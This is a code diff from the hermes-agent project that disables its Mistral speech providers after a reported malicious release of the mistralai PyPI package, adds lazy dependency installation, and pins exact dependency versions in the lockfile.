if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"):
|
||||
return "mistral"
|
||||
# `mistralai` PyPI package was quarantined on 2026-05-12 after a
|
||||
# malicious 2.4.6 release. Refuse to use this provider until it's
|
||||
# available again so we surface a clear message instead of an
|
||||
# opaque ImportError mid-call.
|
||||
logger.warning(
|
||||
"STT provider 'mistral' configured but mistralai package "
|
||||
"not installed or MISTRAL_API_KEY not set"
|
||||
"STT provider 'mistral' (Voxtral Transcribe) is temporarily "
|
||||
"disabled — `mistralai` PyPI package is quarantined "
|
||||
"(malicious 2.4.6 release on 2026-05-12). Falling back to "
|
||||
"another provider. Set stt.provider in config.yaml to 'local' "
|
||||
"or 'openai' to silence this warning."
|
||||
)
|
||||
return "none"
|
||||
|
||||
@@ -270,7 +275,9 @@ def _get_provider(stt_config: dict) -> str:
|
||||
|
||||
return provider # Unknown — let it fail downstream
|
||||
|
||||
# --- Auto-detect (no explicit provider): local > groq > openai > mistral > xai -
|
||||
# --- Auto-detect (no explicit provider): local > groq > openai > xai ---
|
||||
# mistral is intentionally skipped while `mistralai` is quarantined on
|
||||
# PyPI (malicious 2.4.6 release on 2026-05-12).
|
||||
|
||||
if _HAS_FASTER_WHISPER:
|
||||
return "local"
|
||||
@@ -282,9 +289,6 @@ def _get_provider(stt_config: dict) -> str:
|
||||
if _HAS_OPENAI and _has_openai_audio_backend():
|
||||
logger.info("No local STT available, using OpenAI Whisper API")
|
||||
return "openai"
|
||||
if _HAS_MISTRAL and get_env_value("MISTRAL_API_KEY"):
|
||||
logger.info("No local STT available, using Mistral Voxtral Transcribe API")
|
||||
return "mistral"
|
||||
if get_env_value("XAI_API_KEY"):
|
||||
logger.info("No local STT available, using xAI Grok STT API")
|
||||
return "xai"
|
||||
|
||||
+39
-11
@@ -80,11 +80,34 @@ from tools.xai_http import hermes_xai_user_agent
|
||||
|
||||
def _import_edge_tts():
|
||||
"""Lazy import edge_tts. Returns the module or raises ImportError."""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("tts.edge", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
import edge_tts
|
||||
return edge_tts
|
||||
|
||||
def _import_elevenlabs():
|
||||
"""Lazy import ElevenLabs client. Returns the class or raises ImportError."""
|
||||
"""Lazy import ElevenLabs client. Returns the class or raises ImportError.
|
||||
|
||||
Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on
|
||||
demand if the user picked ElevenLabs as their TTS provider but never ran
|
||||
the post-setup hook (e.g. enabled it by editing config.yaml directly).
|
||||
Raises ``ImportError`` on lazy-install failure so existing callers'
|
||||
error-handling paths keep working.
|
||||
"""
|
||||
try:
|
||||
from tools.lazy_deps import FeatureUnavailable, ensure
|
||||
ensure("tts.elevenlabs", prompt=False)
|
||||
except ImportError:
|
||||
# lazy_deps module itself missing — fall through to the raw import
|
||||
# so older code paths still get a clean ImportError.
|
||||
pass
|
||||
except Exception as e: # FeatureUnavailable or any unexpected error
|
||||
raise ImportError(str(e))
|
||||
from elevenlabs.client import ElevenLabs
|
||||
return ElevenLabs
|
||||
|
||||
@@ -1662,16 +1685,21 @@ def text_to_speech_tool(
|
||||
_generate_xai_tts(text, file_str, tts_config)
|
||||
|
||||
elif provider == "mistral":
|
||||
try:
|
||||
_import_mistral_client()
|
||||
except ImportError:
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": "Mistral provider selected but 'mistralai' package not installed. "
|
||||
"Run: pip install 'hermes-agent[mistral]'"
|
||||
}, ensure_ascii=False)
|
||||
logger.info("Generating speech with Mistral Voxtral TTS...")
|
||||
_generate_mistral_tts(text, file_str, tts_config)
|
||||
# `mistralai` PyPI package was quarantined on 2026-05-12 after a
|
||||
# malicious 2.4.6 release. Surface a clear status message instead
|
||||
# of attempting an import that would either fail or pull a stale
|
||||
# cached package.
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": (
|
||||
"Mistral Voxtral TTS is temporarily disabled. The "
|
||||
"`mistralai` PyPI package was quarantined on 2026-05-12 "
|
||||
"after a malicious 2.4.6 release. Switch tts.provider in "
|
||||
"config.yaml to 'edge', 'elevenlabs', 'openai', 'minimax', "
|
||||
"'gemini', 'xai', 'neutts', or 'kittentts'. Mistral "
|
||||
"support will return once PyPI un-quarantines the package."
|
||||
),
|
||||
}, ensure_ascii=False)
|
||||
|
||||
elif provider == "gemini":
|
||||
logger.info("Generating speech with Google Gemini TTS...")
|
||||
|
||||
@@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type:
|
||||
"""Import and cache ``firecrawl.Firecrawl``."""
|
||||
global _FIRECRAWL_CLS_CACHE
|
||||
if _FIRECRAWL_CLS_CACHE is None:
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("search.firecrawl", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
from firecrawl import Firecrawl as _cls
|
||||
_FIRECRAWL_CLS_CACHE = _cls
|
||||
return _FIRECRAWL_CLS_CACHE
|
||||
@@ -358,6 +365,13 @@ def _get_parallel_client():
|
||||
|
||||
Requires PARALLEL_API_KEY environment variable.
|
||||
"""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("search.parallel", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
from parallel import Parallel
|
||||
global _parallel_client
|
||||
if _parallel_client is None:
|
||||
@@ -376,6 +390,13 @@ def _get_async_parallel_client():
|
||||
|
||||
Requires PARALLEL_API_KEY environment variable.
|
||||
"""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("search.parallel", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
from parallel import AsyncParallel
|
||||
global _async_parallel_client
|
||||
if _async_parallel_client is None:
|
||||
@@ -990,6 +1011,13 @@ def _get_exa_client():
|
||||
|
||||
Requires EXA_API_KEY environment variable.
|
||||
"""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("search.exa", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
from exa_py import Exa
|
||||
global _exa_client
|
||||
if _exa_client is None:
|
||||
|
||||
@@ -1394,15 +1394,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "eval-type-backport"
|
||||
version = "0.3.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "exa-py"
|
||||
version = "2.10.2"
|
||||
@@ -1962,17 +1953,11 @@ name = "hermes-agent"
|
||||
version = "0.13.0"
|
||||
source = { editable = "." }
|
||||
dependencies = [
|
||||
{ name = "anthropic" },
|
||||
{ name = "croniter" },
|
||||
{ name = "edge-tts" },
|
||||
{ name = "exa-py" },
|
||||
{ name = "fal-client" },
|
||||
{ name = "fire" },
|
||||
{ name = "firecrawl-py" },
|
||||
{ name = "httpx", extra = ["socks"] },
|
||||
{ name = "jinja2" },
|
||||
{ name = "openai" },
|
||||
{ name = "parallel-web" },
|
||||
{ name = "prompt-toolkit" },
|
||||
{ name = "psutil" },
|
||||
{ name = "pydantic" },
|
||||
@@ -1996,15 +1981,20 @@ all = [
|
||||
{ name = "aiohttp-socks", marker = "sys_platform == 'linux'" },
|
||||
{ name = "aiosqlite", marker = "sys_platform == 'linux'" },
|
||||
{ name = "alibabacloud-dingtalk" },
|
||||
{ name = "anthropic" },
|
||||
{ name = "asyncpg", marker = "sys_platform == 'linux'" },
|
||||
{ name = "boto3" },
|
||||
{ name = "daytona" },
|
||||
{ name = "debugpy" },
|
||||
{ name = "dingtalk-stream" },
|
||||
{ name = "discord-py", extra = ["voice"] },
|
||||
{ name = "edge-tts" },
|
||||
{ name = "elevenlabs" },
|
||||
{ name = "exa-py" },
|
||||
{ name = "fal-client" },
|
||||
{ name = "fastapi" },
|
||||
{ name = "faster-whisper" },
|
||||
{ name = "firecrawl-py" },
|
||||
{ name = "google-api-python-client" },
|
||||
{ name = "google-auth-httplib2" },
|
||||
{ name = "google-auth-oauthlib" },
|
||||
@@ -2013,9 +2003,9 @@ all = [
|
||||
{ name = "markdown", marker = "sys_platform == 'linux'" },
|
||||
{ name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" },
|
||||
{ name = "mcp" },
|
||||
{ name = "mistralai" },
|
||||
{ name = "modal" },
|
||||
{ name = "numpy" },
|
||||
{ name = "parallel-web" },
|
||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||
{ name = "pytest" },
|
||||
{ name = "pytest-asyncio" },
|
||||
@@ -2034,6 +2024,9 @@ all = [
|
||||
{ name = "vercel" },
|
||||
{ name = "youtube-transcript-api" },
|
||||
]
|
||||
anthropic = [
|
||||
{ name = "anthropic" },
|
||||
]
|
||||
bedrock = [
|
||||
{ name = "boto3" },
|
||||
]
|
||||
@@ -2061,10 +2054,22 @@ dingtalk = [
|
||||
{ name = "dingtalk-stream" },
|
||||
{ name = "qrcode" },
|
||||
]
|
||||
edge-tts = [
|
||||
{ name = "edge-tts" },
|
||||
]
|
||||
exa = [
|
||||
{ name = "exa-py" },
|
||||
]
|
||||
fal = [
|
||||
{ name = "fal-client" },
|
||||
]
|
||||
feishu = [
|
||||
{ name = "lark-oapi" },
|
||||
{ name = "qrcode" },
|
||||
]
|
||||
firecrawl = [
|
||||
{ name = "firecrawl-py" },
|
||||
]
|
||||
google = [
|
||||
{ name = "google-api-python-client" },
|
||||
{ name = "google-auth-httplib2" },
|
||||
@@ -2097,12 +2102,12 @@ messaging = [
|
||||
{ name = "slack-bolt" },
|
||||
{ name = "slack-sdk" },
|
||||
]
|
||||
mistral = [
|
||||
{ name = "mistralai" },
|
||||
]
|
||||
modal = [
|
||||
{ name = "modal" },
|
||||
]
|
||||
parallel-web = [
|
||||
{ name = "parallel-web" },
|
||||
]
|
||||
pty = [
|
||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
||||
@@ -2145,7 +2150,6 @@ termux-all = [
|
||||
{ name = "honcho-ai" },
|
||||
{ name = "lark-oapi" },
|
||||
{ name = "mcp" },
|
||||
{ name = "mistralai" },
|
||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||
{ name = "python-telegram-bot", extra = ["webhooks"] },
|
||||
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
||||
@@ -2179,36 +2183,37 @@ youtube = [
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" },
|
||||
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" },
|
||||
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" },
|
||||
{ name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" },
|
||||
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" },
|
||||
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" },
|
||||
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" },
|
||||
{ name = "anthropic", specifier = ">=0.39.0,<1" },
|
||||
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" },
|
||||
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" },
|
||||
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" },
|
||||
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" },
|
||||
{ name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" },
|
||||
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" },
|
||||
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" },
|
||||
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" },
|
||||
{ name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" },
|
||||
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" },
|
||||
{ name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" },
|
||||
{ name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" },
|
||||
{ name = "croniter", specifier = ">=6.0.0,<7" },
|
||||
{ name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" },
|
||||
{ name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" },
|
||||
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" },
|
||||
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" },
|
||||
{ name = "edge-tts", specifier = ">=7.2.7,<8" },
|
||||
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" },
|
||||
{ name = "exa-py", specifier = ">=2.9.0,<3" },
|
||||
{ name = "fal-client", specifier = ">=0.13.1,<1" },
|
||||
{ name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" },
|
||||
{ name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" },
|
||||
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" },
|
||||
{ name = "fire", specifier = ">=0.7.1,<1" },
|
||||
{ name = "firecrawl-py", specifier = ">=4.16.0,<5" },
|
||||
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" },
|
||||
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" },
|
||||
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" },
|
||||
{ name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" },
|
||||
{ name = "croniter", specifier = "==6.0.0" },
|
||||
{ name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" },
|
||||
{ name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" },
|
||||
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" },
|
||||
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" },
|
||||
{ name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" },
|
||||
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" },
|
||||
{ name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" },
|
||||
{ name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" },
|
||||
{ name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" },
|
||||
{ name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" },
|
||||
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" },
|
||||
{ name = "fire", specifier = "==0.7.1" },
|
||||
{ name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" },
|
||||
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" },
|
||||
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" },
|
||||
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" },
|
||||
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" },
|
||||
{ name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" },
|
||||
@@ -2219,8 +2224,12 @@ requires-dist = [
|
||||
{ name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" },
|
||||
@@ -2232,9 +2241,8 @@ requires-dist = [
|
||||
{ name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" },
|
||||
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" },
|
||||
{ name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" },
|
||||
@@ -2249,60 +2257,59 @@ requires-dist = [
|
||||
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" },
|
||||
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" },
|
||||
{ name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" },
|
||||
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" },
|
||||
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" },
|
||||
{ name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" },
|
||||
{ name = "jinja2", specifier = ">=3.1.5,<4" },
|
||||
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" },
|
||||
{ name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" },
|
||||
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" },
|
||||
{ name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" },
|
||||
{ name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" },
|
||||
{ name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" },
|
||||
{ name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" },
|
||||
{ name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" },
|
||||
{ name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" },
|
||||
{ name = "openai", specifier = ">=2.21.0,<3" },
|
||||
{ name = "parallel-web", specifier = ">=0.4.2,<1" },
|
||||
{ name = "prompt-toolkit", specifier = ">=3.0.52,<4" },
|
||||
{ name = "psutil", specifier = ">=5.9.0,<8" },
|
||||
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" },
|
||||
{ name = "pydantic", specifier = ">=2.12.5,<3" },
|
||||
{ name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" },
|
||||
{ name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" },
|
||||
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" },
|
||||
{ name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" },
|
||||
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" },
|
||||
{ name = "python-dotenv", specifier = ">=1.2.1,<2" },
|
||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" },
|
||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" },
|
||||
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" },
|
||||
{ name = "pyyaml", specifier = ">=6.0.2,<7" },
|
||||
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" },
|
||||
{ name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" },
|
||||
{ name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" },
|
||||
{ name = "requests", specifier = ">=2.33.0,<3" },
|
||||
{ name = "rich", specifier = ">=14.3.3,<15" },
|
||||
{ name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" },
|
||||
{ name = "ruff", marker = "extra == 'dev'" },
|
||||
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" },
|
||||
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" },
|
||||
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" },
|
||||
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" },
|
||||
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" },
|
||||
{ name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" },
|
||||
{ name = "tenacity", specifier = ">=9.1.4,<10" },
|
||||
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" },
|
||||
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" },
|
||||
{ name = "httpx", extras = ["socks"], specifier = "==0.28.1" },
|
||||
{ name = "jinja2", specifier = "==3.1.6" },
|
||||
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" },
|
||||
{ name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" },
|
||||
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" },
|
||||
{ name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" },
|
||||
{ name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" },
|
||||
{ name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" },
|
||||
{ name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" },
|
||||
{ name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" },
|
||||
{ name = "openai", specifier = "==2.24.0" },
|
||||
{ name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" },
|
||||
{ name = "prompt-toolkit", specifier = "==3.0.52" },
|
||||
{ name = "psutil", specifier = "==7.2.2" },
|
||||
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" },
|
||||
{ name = "pydantic", specifier = "==2.12.5" },
|
||||
{ name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" },
|
||||
{ name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" },
|
||||
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" },
|
||||
{ name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" },
|
||||
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" },
|
||||
{ name = "python-dotenv", specifier = "==1.2.1" },
|
||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" },
|
||||
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" },
|
||||
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" },
|
||||
{ name = "pyyaml", specifier = "==6.0.3" },
|
||||
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" },
|
||||
{ name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" },
|
||||
{ name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" },
|
||||
{ name = "requests", specifier = "==2.33.0" },
|
||||
{ name = "rich", specifier = "==14.3.3" },
|
||||
{ name = "ruamel-yaml", specifier = "==0.18.17" },
|
||||
{ name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" },
|
||||
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" },
|
||||
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" },
|
||||
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" },
|
||||
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" },
|
||||
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" },
|
||||
{ name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" },
|
||||
{ name = "tenacity", specifier = "==9.1.4" },
|
||||
{ name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" },
|
||||
{ name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" },
|
||||
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" },
|
||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" },
|
||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" },
|
||||
{ name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" },
|
||||
{ name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" },
|
||||
{ name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" },
|
||||
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" },
|
||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" },
|
||||
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" },
|
||||
{ name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" },
|
||||
{ name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" },
|
||||
{ name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" },
|
||||
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" },
|
||||
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" },
|
||||
]
|
||||
provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
|
||||
provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
|
||||
|
||||
[[package]]
|
||||
name = "hf-transfer"
|
||||
@@ -2688,15 +2695,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jsonpath-python"
|
||||
